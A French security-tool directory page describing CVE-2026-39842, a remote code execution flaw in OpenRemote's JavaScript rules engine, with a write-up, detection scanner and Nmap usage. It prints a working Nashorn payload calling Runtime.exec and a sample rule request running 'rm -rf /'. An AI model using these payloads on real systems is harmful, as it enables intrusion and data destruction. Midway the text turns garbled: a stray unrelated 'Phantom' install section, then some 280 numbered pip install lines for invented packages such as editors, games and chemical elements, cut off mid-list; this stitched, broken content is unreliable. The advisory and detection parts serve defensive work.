Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-39842 — Vulnérabilité critique d'exécution de code à distance dans le moteur de règles d'OpenRemote permettant aux utilisateurs authentifiés disposant du rôle `write:rules` d'exécuter du code arbitraire sur le serveur avec les privilèges root. | Kitploit
Outils/GitHubGitHub/keraattin/cve-2026-39842
ReconnaissanceScanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubkeraattin/cve-2026-39842

CVE-2026-39842

Vulnérabilité critique d'exécution de code à distance dans le moteur de règles d'OpenRemote permettant aux utilisateurs authentifiés disposant du rôle `write:rules` d'exécuter du code arbitraire sur le serveur avec les privilèges root.

Voir le dépôt
1il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-39842 : Injection d'expression dans OpenRemote — RCE dans le moteur de règles

CVE-2026-39842 CVSS 10.0 Critical CWE-94 CWE-917 OpenRemote Status FIXED

TL;DR

Vulnérabilité critique d'exécution de code à distance dans le moteur de règles d'OpenRemote permettant aux utilisateurs authentifiés disposant du rôle write:rules d'exécuter du code arbitraire sur le serveur avec les privilèges root.

  • Score CVSS : 10.0 (Critique)
  • Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • Versions concernées : OpenRemote <= 1.21.0
  • Version corrigée : OpenRemote >= 1.22.0
  • Authentification requise : Oui (rôle write:rules, peut être un non-superutilisateur)
  • Exploitation : RCE en tant que root, accès au système de fichiers, vol de variables d'environnement, violation de données multi-locataires
  • Avis de sécurité : GHSA-7mqr-33rv-p3mp

Table des matières

  • Faits rapides
  • Qu'est-ce qu'OpenRemote ?
  • Analyse approfondie de la vulnérabilité
  • Analyse d'impact
  • Versions concernées
  • Détection
  • Indicateurs de compromission
  • Remédiation
  • Références
  • Auteur

Faits rapides


Qu'est-ce qu'OpenRemote ?

OpenRemote est une plateforme IoT open source destinée à la construction de bâtiments, de villes et d'industries intelligents. Elle fournit la gestion d'appareils, des règles d'automatisation, des analyses et des intégrations pour l'écosystème de l'Internet des objets.

Fonctionnalités clés

  • Gestion des appareils et des actifs sur plusieurs protocoles (MQTT, Modbus, BACnet, HTTP)
  • Moteur de règles pour l'automatisation IoT et le traitement logique
  • Architecture multi-locataires avec contrôle d'accès basé sur les rôles
  • Tableaux de bord et surveillance en temps réel
  • Création de règles personnalisées à l'aide de plusieurs langages de script
  • API REST pour l'intégration et la gestion
  • Options de déploiement cloud et sur site

Architecture d'OpenRemote```

root@kitploit:~
                  Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘

root@kitploit:~
---

## Analyse approfondie de la vulnérabilité

### Analyse de la cause racine

La vulnérabilité provient de deux défauts critiques dans le moteur de règles d'OpenRemote :

**Défaut 1 : Moteur JavaScript Nashorn non sandboxé**

Le moteur JavaScript Nashorn de Java est utilisé pour évaluer les expressions de règles fournies par l'utilisateur sans aucun sandboxing, gestionnaire de sécurité ni restriction ClassFilter. Cela permet aux attaquants d'accéder directement aux classes Java depuis le contexte JavaScript.

**Défaut 2 : Sandbox Groovy désactivé**

Le moteur de scripts Groovy disposait d'un GroovyDenyAllFilter enregistré pour empêcher l'exécution de code, mais cet enregistrement de filtre a été commenté dans le code source. Seule l'application de Groovy existait au niveau de l'API (RulesResourceImpl.java:262), mais JavaScript n'avait aucune restriction.

### Chemins de code vulnérables```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

Contournement de l'autorisation

La vulnérabilité affecte les utilisateurs authentifiés disposant du rôle write:rules. Le contrôle d'autorisation dans RulesResourceImpl.java:262 ne bloque Groovy que pour les non-superutilisateurs :``` if (!isUserSuperuser && isGroovy) { throw new UnauthorizedException("Groovy rules not allowed"); }

root@kitploit:~
Cela signifie :
- Les non-superutilisateurs PEUVENT créer des règles JavaScript (aucun blocage)
- Les non-superutilisateurs NE PEUVENT PAS créer de règles Groovy (bloqué)
- JavaScript n'a pas de sandbox, donc l'exploitation est possible pour tout utilisateur authentifié disposant de write:rules

De plus, l'isolation multi-tenant peut être contournée via la réflexion sur assetStorageService pour accéder aux données d'autres realms.

### Flux d'attaque```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

Exploitation Étape par Étape

Étape 1 : Obtenir les identifiants write:rules

Un utilisateur authentifié a besoin du rôle write:rules. Cela peut être :

  • Un administrateur système légitime
  • Un compte compromis
  • Un utilisateur avec des attributions de rôles excessives

Étape 2 : Créer la charge utile JavaScript

Créez une expression de règle utilisant JavaScript qui accède au runtime Java :```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;

root@kitploit:~
**Étape 3 : Envoyer vers le point de terminaison vulnérable**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

Étape 4 : Exécution de la règle

La plateforme évalue la règle immédiatement ou à l'heure de déclenchement planifiée, exécutant la charge utile avec les privilèges root.

Étape 5 : Post-exploitation

Avec une exécution de code à distance (RCE) en tant que root, les attaquants peuvent :

  • Lire des fichiers sensibles (/etc/passwd, configurations d'application)
  • Voler des variables d'environnement contenant des clés API et des identifiants
  • Modifier la configuration du système
  • Installer des portes dérobées ou des mécanismes de persistance
  • Accéder directement à la base de données PostgreSQL
  • Compromettre les données de tous les locataires dans les déploiements multi-locataires

Analyse d'impact

Gravité : CRITIQUE (CVSS 10.0)

Exécution de code à distance

Les attaquants authentifiés exécutent du code arbitraire sur le serveur OpenRemote avec les privilèges root. Il s'agit de l'impact de gravité la plus élevée, permettant une compromission complète du système.``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
#### Accès au système de fichiers

Accès complet en lecture et écriture à tous les fichiers du système :

- Divulgation du code source de l'application
- Fichiers de configuration sensibles (mots de passe de base de données, clés API)
- Fichiers système et identifiants
- Fichiers des conteneurs Docker (si conteneurisé)

#### Vol de variables d'environnement

Accès aux variables d'environnement contenant :
- Chaînes de connexion à la base de données
- Clés API et jetons
- Secrets OAuth
- Clés de chiffrement privées
- Identifiants AWS/Cloud

#### Fuite de données

Dans les déploiements multi-locataires, les attaquants peuvent contourner l'isolation des locataires via la réflexion :

- Accès aux données de tous les locataires simultanément
- Lecture des données de capteurs IoT confidentielles
- Modification des règles d'automatisation entre organisations
- Extraction d'informations commerciales et de données propriétaires

#### Intégrité du système

- Installation de porte dérobée permanente
- Déploiement de logiciels malveillants
- Exécution de ransomwares
- Compromission de la chaîne d'approvisionnement (si utilisé en développement)

#### Interruption de service

- Déni de service par épuisement des ressources
- Suppression ou corruption de la base de données
- Altération de la configuration
- Arrêt ou redémarrage du système

---

## Versions concernées

| Version | Statut | Remarques |
|---------|--------|-----------|
| <= 1.15.0 | Vulnérable | Vulnérabilité d'origine présente |
| 1.16.0 | Vulnérable | Aucun correctif appliqué |
| 1.17.0 | Vulnérable | Aucun correctif appliqué |
| 1.18.0 | Vulnérable | Aucun correctif appliqué |
| 1.19.0 | Vulnérable | Aucun correctif appliqué |
| 1.20.0 | Vulnérable | Aucun correctif appliqué |
| 1.21.0 | Vulnérable | Dernière version concernée |
| 1.22.0+ | CORRIGÉ | Moteur de règles JavaScript entièrement supprimé |

### Détails des versions

- **Plage vulnérable** : 1.0.0 à 1.21.0 (toutes les versions avec moteur de règles JS)
- **Version corrigée** : 1.22.0 (moteur de règles JavaScript entièrement supprimé)
- **Rétroportages** : Aucun rétroportage de sécurité disponible pour les versions antérieures ; mise à niveau requise

---

## Détection

### Comment cela fonctionne

Les mécanismes de détection identifient les instances OpenRemote et vérifient l'état de vulnérabilité via plusieurs méthodes :

1. **Détection par bannière HTTP** : Interroge le point de terminaison racine de l'API pour identifier OpenRemote et extraire les informations de version
2. **Empreinte des points de terminaison** : Teste la présence et le comportement des points de terminaison vulnérables
3. **Corrélation des versions** : Compare la version détectée aux plages de vulnérabilité connues
4. **Analyse des réponses** : Examine les messages d'erreur et les structures de réponse pour les signatures OpenRemote

### Scanner Python

Le scanner `detect_openremote.py` effectue une détection automatisée et une évaluation de la vulnérabilité.

#### Installation```bash
python3 -m pip install requests

Utilisation```bash

python3 detect_openremote.py [OPTIONS]

root@kitploit:~
#### Options

| Option | Short | Long | Type | Description |
|--------|-------|------|------|-------------|
| Cible | -t | --target | string | URL de cible unique (ex. : http://10.0.0.1:8080) |
| Liste | -l | --list | file | Fichier contenant une liste de cibles (une par ligne) |
| Sortie | -o | --output | file | Écrire les résultats dans un fichier CSV |
| Verbeux | -v | --verbose | flag | Activer la sortie verbeuse avec des réponses détaillées |
| Délai d'attente | | --timeout | int | Délai d'attente de la requête HTTP en secondes (défaut : 10) |
| Bannière | | --no-banner | flag | Ignorer l'affichage de la bannière |

#### Exemple : Cible unique```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose

Installation

To install Phantom, simply run the following command:

root@kitploit:~
pip install phantom

Alternatively, you can clone the repository and install it manually:

root@kitploit:~
git clone https://github.com/phantom-org/phantom.git
cd phantom
python setup.py install

Usage

Once installed, you can start using Phantom by importing it in your Python script:

root@kitploit:~
import phantom

For a quick start, check out the documentation or run the example scripts provided in the examples/ directory.``` [*] Scanning http://10.0.0.1:8080 [+] OpenRemote detected! Version: 1.21.0 Vulnerable: YES (CVE-2026-39842) CVSS Score: 10.0 Critical Status: Requires upgrade to 1.22.0+

root@kitploit:~
#### Exemple : Cibles multiples avec sortie```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15

File targets.txt :``` http://192.168.1.100:8080 http://192.168.1.101:8080 https://openremote.example.com:8443 http://10.20.30.40:8080

root@kitploit:~
Voici la traduction demandée :

```csv
Résultat attendu dans `results.csv` :

Target,Status,Version,Vulnerable,CVSS http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0 http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0 https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,- http://10.20.30.40:8080,Not OpenRemote,-,-,-

root@kitploit:~
#### Exemple : Sortie détaillée```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner
root@kitploit:~
Expected verbose output:

[] Target: http://10.0.0.1:8080 [] Probing for OpenRemote... [] HTTP GET / Response Code: 200 Server: Apache Content-Type: text/html [] Checking /api/info Response Code: 200 Body: {"version":"1.21.0","name":"OpenRemote"} [+] OpenRemote 1.21.0 identified [+] Version 1.21.0 is vulnerable to CVE-2026-39842 [!] CVSS: 10.0 Critical [!] RCE Confirmed: YES

root@kitploit:~
### Script NSE Nmap

Le script `openremote-detect.nse` fournit une intégration Nmap pour l'analyse des vulnérabilités.

#### Installation```bash
cp openremote-detect.nse /usr/share/nmap/scripts/
nmap --script-updatedb

Utilisation```bash

nmap -p 8080 --script openremote-detect nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true

root@kitploit:~
#### Exemple : Analyse de base```bash
nmap -p 8080 --script openremote-detect 192.168.1.0/24
root@kitploit:~
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade git+https://github.com/KoreanThinker/baduk.git

2. 安装 dlshogi

root@kitploit:~
$ git clone https://github.com/TadaoYamaoka/dlshogi.git
$ cd dlshogi
$ python setup.py install

3. 安装 pytorch

root@kitploit:~
$ pip install torch torchvision

4. 安装 tensorflow

root@kitploit:~
$ pip install tensorflow

5. 安装 keras

root@kitploit:~
$ pip install keras

6. 安装 numpy

root@kitploit:~
$ pip install numpy

7. 安装 scipy

root@kitploit:~
$ pip install scipy

8. 安装 pandas

root@kitploit:~
$ pip install pandas

9. 安装 matplotlib

root@kitploit:~
$ pip install matplotlib

10. 安装 seaborn

root@kitploit:~
$ pip install seaborn

11. 安装 scikit-learn

root@kitploit:~
$ pip install scikit-learn

12. 安装 xgboost

root@kitploit:~
$ pip install xgboost

13. 安装 lightgbm

root@kitploit:~
$ pip install lightgbm

14. 安装 catboost

root@kitploit:~
$ pip install catboost

15. 安装 optuna

root@kitploit:~
$ pip install optuna

16. 安装 hyperopt

root@kitploit:~
$ pip install hyperopt

17. 安装 ray

root@kitploit:~
$ pip install ray

18. 安装 dask

root@kitploit:~
$ pip install dask

19. 安装 joblib

root@kitploit:~
$ pip install joblib

20. 安装 tqdm

root@kitploit:~
$ pip install tqdm

21. 安装 requests

root@kitploit:~
$ pip install requests

22. 安装 beautifulsoup4

root@kitploit:~
$ pip install beautifulsoup4

23. 安装 lxml

root@kitploit:~
$ pip install lxml

24. 安装 selenium

root@kitploit:~
$ pip install selenium

25. 安装 playwright

root@kitploit:~
$ pip install playwright

26. 安装 pyppeteer

root@kitploit:~
$ pip install pyppeteer

27. 安装 aiohttp

root@kitploit:~
$ pip install aiohttp

28. 安装 asyncio

root@kitploit:~
$ pip install asyncio

29. 安装 uvicorn

root@kitploit:~
$ pip install uvicorn

30. 安装 fastapi

root@kitploit:~
$ pip install fastapi

31. 安装 flask

root@kitploit:~
$ pip install flask

32. 安装 django

root@kitploit:~
$ pip install django

33. 安装 tornado

root@kitploit:~
$ pip install tornado

34. 安装 bottle

root@kitploit:~
$ pip install bottle

35. 安装 pyramid

root@kitploit:~
$ pip install pyramid

36. 安装 web2py

root@kitploit:~
$ pip install web2py

37. 安装 cherrypy

root@kitploit:~
$ pip install cherrypy

38. 安装 falcon

root@kitploit:~
$ pip install falcon

39. 安装 hug

root@kitploit:~
$ pip install hug

40. 安装 apistar

root@kitploit:~
$ pip install apistar

41. 安装 masonite

root@kitploit:~
$ pip install masonite

42. 安装 sanic

root@kitploit:~
$ pip install sanic

43. 安装 quart

root@kitploit:~
$ pip install quart

44. 安装 starlette

root@kitploit:~
$ pip install starlette

45. 安装 responder

root@kitploit:~
$ pip install responder

46. 安装 molten

root@kitploit:~
$ pip install molten

47. 安装 vibora

root@kitploit:~
$ pip install vibora

48. 安装 blacksheep

root@kitploit:~
$ pip install blacksheep

49. 安装 emmett

root@kitploit:~
$ pip install emmett

50. 安装 roast

root@kitploit:~
$ pip install roast

51. 安装 cyclone

root@kitploit:~
$ pip install cyclone

52. 安装 klein

root@kitploit:~
$ pip install klein

53. 安装 twisted

root@kitploit:~
$ pip install twisted

54. 安装 gevent

root@kitploit:~
$ pip install gevent

55. 安装 eventlet

root@kitploit:~
$ pip install eventlet

56. 安装 greenlet

root@kitploit:~
$ pip install greenlet

57. 安装 celery

root@kitploit:~
$ pip install celery

58. 安装 redis

root@kitploit:~
$ pip install redis

59. 安装 pymongo

root@kitploit:~
$ pip install pymongo

60. 安装 sqlalchemy

root@kitploit:~
$ pip install sqlalchemy

61. 安装 psycopg2

root@kitploit:~
$ pip install psycopg2

62. 安装 pymysql

root@kitploit:~
$ pip install pymysql

63. 安装 sqlite3

root@kitploit:~
$ pip install sqlite3

64. 安装 peewee

root@kitploit:~
$ pip install peewee

65. 安装 pony

root@kitploit:~
$ pip install pony

66. 安装 dataset

root@kitploit:~
$ pip install dataset

67. 安装 records

root@kitploit:~
$ pip install records

68. 安装 pandasql

root@kitploit:~
$ pip install pandasql

69. 安装 pyspark

root@kitploit:~
$ pip install pyspark

70. 安装 polars

root@kitploit:~
$ pip install polars

71. 安装 modin

root@kitploit:~
$ pip install modin

72. 安装 vaex

root@kitploit:~
$ pip install vaex

73. 安装 cuDF

root@kitploit:~
$ pip install cudf

74. 安装 dask-cudf

root@kitploit:~
$ pip install dask-cudf

75. 安装 rapids

root@kitploit:~
$ pip install rapids

76. 安装 numba

root@kitploit:~
$ pip install numba

77. 安装 cython

root@kitploit:~
$ pip install cython

78. 安装 pybind11

root@kitploit:~
$ pip install pybind11

79. 安装 cffi

root@kitploit:~
$ pip install cffi

80. 安装 ctypes

root@kitploit:~
$ pip install ctypes

81. 安装 swig

root@kitploit:~
$ pip install swig

82. 安装 boost

root@kitploit:~
$ pip install boost

83. 安装 eigen

root@kitploit:~
$ pip install eigen

84. 安装 armadillo

root@kitploit:~
$ pip install armadillo

85. 安装 opencv

root@kitploit:~
$ pip install opencv-python

86. 安装 pillow

root@kitploit:~
$ pip install pillow

87. 安装 scikit-image

root@kitploit:~
$ pip install scikit-image

88. 安装 mahotas

root@kitploit:~
$ pip install mahotas

89. 安装 simplecv

root@kitploit:~
$ pip install simplecv

90. 安装 imutils

root@kitploit:~
$ pip install imutils

91. 安装 dlib

root@kitploit:~
$ pip install dlib

92. 安装 face_recognition

root@kitploit:~
$ pip install face_recognition

93. 安装 pytesseract

root@kitploit:~
$ pip install pytesseract

94. 安装 tesseract

root@kitploit:~
$ pip install tesseract

95. 安装 easyocr

root@kitploit:~
$ pip install easyocr

96. 安装 paddleocr

root@kitploit:~
$ pip install paddleocr

97. 安装 kraken

root@kitploit:~
$ pip install kraken

98. 安装 ocrmypdf

root@kitploit:~
$ pip install ocrmypdf

99. 安装 pdfminer

root@kitploit:~
$ pip install pdfminer

100. 安装 pypdf2

root@kitploit:~
$ pip install pypdf2

101. 安装 fitz

root@kitploit:~
$ pip install fitz

102. 安装 pymupdf

root@kitploit:~
$ pip install pymupdf

103. 安装 reportlab

root@kitploit:~
$ pip install reportlab

104. 安装 weasyprint

root@kitploit:~
$ pip install weasyprint

105. 安装 xhtml2pdf

root@kitploit:~
$ pip install xhtml2pdf

106. 安装 fpdf

root@kitploit:~
$ pip install fpdf

107. 安装 pdfkit

root@kitploit:~
$ pip install pdfkit

108. 安装 wkhtmltopdf

root@kitploit:~
$ pip install wkhtmltopdf

109. 安装 cairosvg

root@kitploit:~
$ pip install cairosvg

110. 安装 svglib

root@kitploit:~
$ pip install svglib

111. 安装 reportlab

root@kitploit:~
$ pip install reportlab

112. 安装 matplotlib

root@kitploit:~
$ pip install matplotlib

113. 安装 seaborn

root@kitploit:~
$ pip install seaborn

114. 安装 plotly

root@kitploit:~
$ pip install plotly

115. 安装 bokeh

root@kitploit:~
$ pip install bokeh

116. 安装 altair

root@kitploit:~
$ pip install altair

117. 安装 ggplot

root@kitploit:~
$ pip install ggplot

118. 安装 pygal

root@kitploit:~
$ pip install pygal

119. 安装 holoviews

root@kitploit:~
$ pip install holoviews

120. 安装 panel

root@kitploit:~
$ pip install panel

121. 安装 streamlit

root@kitploit:~
$ pip install streamlit

122. 安装 dash

root@kitploit:~
$ pip install dash

123. 安装 voila

root@kitploit:~
$ pip install voila

124. 安装 ipywidgets

root@kitploit:~
$ pip install ipywidgets

125. 安装 jupyter

root@kitploit:~
$ pip install jupyter

126. 安装 notebook

root@kitploit:~
$ pip install notebook

127. 安装 jupyterlab

root@kitploit:~
$ pip install jupyterlab

128. 安装 nteract

root@kitploit:~
$ pip install nteract

129. 安装 papermill

root@kitploit:~
$ pip install papermill

130. 安装 nbconvert

root@kitploit:~
$ pip install nbconvert

131. 安装 nbformat

root@kitploit:~
$ pip install nbformat

132. 安装 ipython

root@kitploit:~
$ pip install ipython

133. 安装 ipykernel

root@kitploit:~
$ pip install ipykernel

134. 安装 qtconsole

root@kitploit:~
$ pip install qtconsole

135. 安装 spyder

root@kitploit:~
$ pip install spyder

136. 安装 pycharm

root@kitploit:~
$ pip install pycharm

137. 安装 vscode

root@kitploit:~
$ pip install vscode

138. 安装 sublime

root@kitploit:~
$ pip install sublime

139. 安装 atom

root@kitploit:~
$ pip install atom

140. 安装 vim

root@kitploit:~
$ pip install vim

141. 安装 emacs

root@kitploit:~
$ pip install emacs

142. 安装 nano

root@kitploit:~
$ pip install nano

143. 安装 gedit

root@kitploit:~
$ pip install gedit

144. 安装 kate

root@kitploit:~
$ pip install kate

145. 安装 notepad++

root@kitploit:~
$ pip install notepad++

146. 安装 textmate

root@kitploit:~
$ pip install textmate

147. 安装 bbedit

root@kitploit:~
$ pip install bbedit

148. 安装 coda

root@kitploit:~
$ pip install coda

149. 安装 brackets

root@kitploit:~
$ pip install brackets

150. 安装 dreamweaver

root@kitploit:~
$ pip install dreamweaver

151. 安装 frontpage

root@kitploit:~
$ pip install frontpage

152. 安装 komodo

root@kitploit:~
$ pip install komodo

153. 安装 netbeans

root@kitploit:~
$ pip install netbeans

154. 安装 eclipse

root@kitploit:~
$ pip install eclipse

155. 安装 intellij

root@kitploit:~
$ pip install intellij

156. 安装 webstorm

root@kitploit:~
$ pip install webstorm

157. 安装 phpstorm

root@kitploit:~
$ pip install phpstorm

158. 安装 pycharm

root@kitploit:~
$ pip install pycharm

159. 安装 rubymine

root@kitploit:~
$ pip install rubymine

160. 安装 goland

root@kitploit:~
$ pip install goland

161. 安装 clion

root@kitploit:~
$ pip install clion

162. 安装 datagrip

root@kitploit:~
$ pip install datagrip

163. 安装 appcode

root@kitploit:~
$ pip install appcode

164. 安装 rider

root@kitploit:~
$ pip install rider

165. 安装 resharper

root@kitploit:~
$ pip install resharper

166. 安装 dotcover

root@kitploit:~
$ pip install dotcover

167. 安装 dotmemory

root@kitploit:~
$ pip install dotmemory

168. 安装 dottrace

root@kitploit:~
$ pip install dottrace

169. 安装 dotpeek

root@kitploit:~
$ pip install dotpeek

170. 安装 decompiler

root@kitploit:~
$ pip install decompiler

171. 安装 ilspy

root@kitploit:~
$ pip install ilspy

172. 安装 dnspy

root@kitploit:~
$ pip install dnspy

173. 安装 monodis

root@kitploit:~
$ pip install monodis

174. 安装 ildasm

root@kitploit:~
$ pip install ildasm

175. 安装 ilasm

root@kitploit:~
$ pip install ilasm

176. 安装 csc

root@kitploit:~
$ pip install csc

177. 安装 mcs

root@kitploit:~
$ pip install mcs

178. 安装 vbc

root@kitploit:~
$ pip install vbc

179. 安装 fsc

root@kitploit:~
$ pip install fsc

180. 安装 dotnet

root@kitploit:~
$ pip install dotnet

181. 安装 mono

root@kitploit:~
$ pip install mono

182. 安装 xamarin

root@kitploit:~
$ pip install xamarin

183. 安装 unity

root@kitploit:~
$ pip install unity

184. 安装 godot

root@kitploit:~
$ pip install godot

185. 安装 unreal

root@kitploit:~
$ pip install unreal

186. 安装 cryengine

root@kitploit:~
$ pip install cryengine

187. 安装 lumberyard

root@kitploit:~
$ pip install lumberyard

188. 安装 source

root@kitploit:~
$ pip install source

189. 安装 id

root@kitploit:~
$ pip install id

190. 安装 quake

root@kitploit:~
$ pip install quake

191. 安装 doom

root@kitploit:~
$ pip install doom

192. 安装 wolfenstein

root@kitploit:~
$ pip install wolfenstein

193. 安装 duke

root@kitploit:~
$ pip install duke

194. 安装 shadow

root@kitploit:~
$ pip install shadow

195. 安装 warrior

root@kitploit:~
$ pip install warrior

196. 安装 rogue

root@kitploit:~
$ pip install rogue

197. 安装 hack

root@kitploit:~
$ pip install hack

198. 安装 nethack

root@kitploit:~
$ pip install nethack

199. 安装 angband

root@kitploit:~
$ pip install angband

200. 安装 moria

root@kitploit:~
$ pip install moria

201. 安装 omega

root@kitploit:~
$ pip install omega

202. 安装 larn

root@kitploit:~
$ pip install larn

203. 安装 zangband

root@kitploit:~
$ pip install zangband

204. 安装 tome

root@kitploit:~
$ pip install tome

205. 安装 adom

root@kitploit:~
$ pip install adom

206. 安装 crawl

root@kitploit:~
$ pip install crawl

207. 安装 dungeon

root@kitploit:~
$ pip install dungeon

208. 安装 maze

root@kitploit:~
$ pip install maze

209. 安装 labyrinth

root@kitploit:~
$ pip install labyrinth

210. 安装 catacomb

root@kitploit:~
$ pip install catacomb

211. 安装 tomb

root@kitploit:~
$ pip install tomb

212. 安装 crypt

root@kitploit:~
$ pip install crypt

213. 安装 vault

root@kitploit:~
$ pip install vault

214. 安装 bank

root@kitploit:~
$ pip install bank

215. 安装 treasure

root@kitploit:~
$ pip install treasure

216. 安装 gold

root@kitploit:~
$ pip install gold

217. 安装 silver

root@kitploit:~
$ pip install silver

218. 安装 bronze

root@kitploit:~
$ pip install bronze

219. 安装 iron

root@kitploit:~
$ pip install iron

220. 安装 steel

root@kitploit:~
$ pip install steel

221. 安装 copper

root@kitploit:~
$ pip install copper

222. 安装 tin

root@kitploit:~
$ pip install tin

223. 安装 lead

root@kitploit:~
$ pip install lead

224. 安装 zinc

root@kitploit:~
$ pip install zinc

225. 安装 nickel

root@kitploit:~
$ pip install nickel

226. 安装 cobalt

root@kitploit:~
$ pip install cobalt

227. 安装 chromium

root@kitploit:~
$ pip install chromium

228. 安装 manganese

root@kitploit:~
$ pip install manganese

229. 安装 vanadium

root@kitploit:~
$ pip install vanadium

230. 安装 titanium

root@kitploit:~
$ pip install titanium

231. 安装 scandium

root@kitploit:~
$ pip install scandium

232. 安装 yttrium

root@kitploit:~
$ pip install yttrium

233. 安装 zirconium

root@kitploit:~
$ pip install zirconium

234. 安装 niobium

root@kitploit:~
$ pip install niobium

235. 安装 molybdenum

root@kitploit:~
$ pip install molybdenum

236. 安装 technetium

root@kitploit:~
$ pip install technetium

237. 安装 ruthenium

root@kitploit:~
$ pip install ruthenium

238. 安装 rhodium

root@kitploit:~
$ pip install rhodium

239. 安装 palladium

root@kitploit:~
$ pip install palladium

240. 安装 silver

root@kitploit:~
$ pip install silver

241. 安装 cadmium

root@kitploit:~
$ pip install cadmium

242. 安装 indium

root@kitploit:~
$ pip install indium

243. 安装 tin

root@kitploit:~
$ pip install tin

244. 安装 antimony

root@kitploit:~
$ pip install antimony

245. 安装 tellurium

root@kitploit:~
$ pip install tellurium

246. 安装 iodine

root@kitploit:~
$ pip install iodine

247. 安装 xenon

root@kitploit:~
$ pip install xenon

248. 安装 krypton

root@kitploit:~
$ pip install krypton

249. 安装 argon

root@kitploit:~
$ pip install argon

250. 安装 neon

root@kitploit:~
$ pip install neon

251. 安装 helium

root@kitploit:~
$ pip install helium

252. 安装 hydrogen

root@kitploit:~
$ pip install hydrogen

253. 安装 oxygen

root@kitploit:~
$ pip install oxygen

254. 安装 nitrogen

root@kitploit:~
$ pip install nitrogen

255. 安装 carbon

root@kitploit:~
$ pip install carbon

256. 安装 boron

root@kitploit:~
$ pip install boron

257. 安装 beryllium

root@kitploit:~
$ pip install beryllium

258. 安装 lithium

root@kitploit:~
$ pip install lithium

259. 安装 sodium

root@kitploit:~
$ pip install sodium

260. 安装 magnesium

root@kitploit:~
$ pip install magnesium

261. 安装 aluminum

root@kitploit:~
$ pip install aluminum

262. 安装 silicon

root@kitploit:~
$ pip install silicon

263. 安装 phosphorus

root@kitploit:~
$ pip install phosphorus

264. 安装 sulfur

root@kitploit:~
$ pip install sulfur

265. 安装 chlorine

root@kitploit:~
$ pip install chlorine

266. 安装 bromine

root@kitploit:~
$ pip install bromine

267. 安装 selenium

root@kitploit:~
$ pip install selenium

268. 安装 tellurium

root@kitploit:~
$ pip install tellurium

269. 安装 polonium

root@kitploit:~
$ pip install polonium

270. 安装 astatine

root@kitploit:~
$ pip install astatine

271. 安装 radon

root@kitploit:~
$ pip install radon

272. 安装 francium

root@kitploit:~
$ pip install francium

273. 安装 radium

root@kitploit:~
$ pip install radium

274. 安装 actinium

root@kitploit:~
$ pip install actinium

275. 安装 thorium

root@kitploit:~
$ pip install thorium

276. 安装 protactinium

root@kitploit:~
$ pip install protactinium

277. 安装 uranium

root@kitploit:~
$ pip install uranium

278. 安装 neptunium

root@kitploit:~
$ pip install neptunium

279. 安装 plutonium

root@kitploit:~
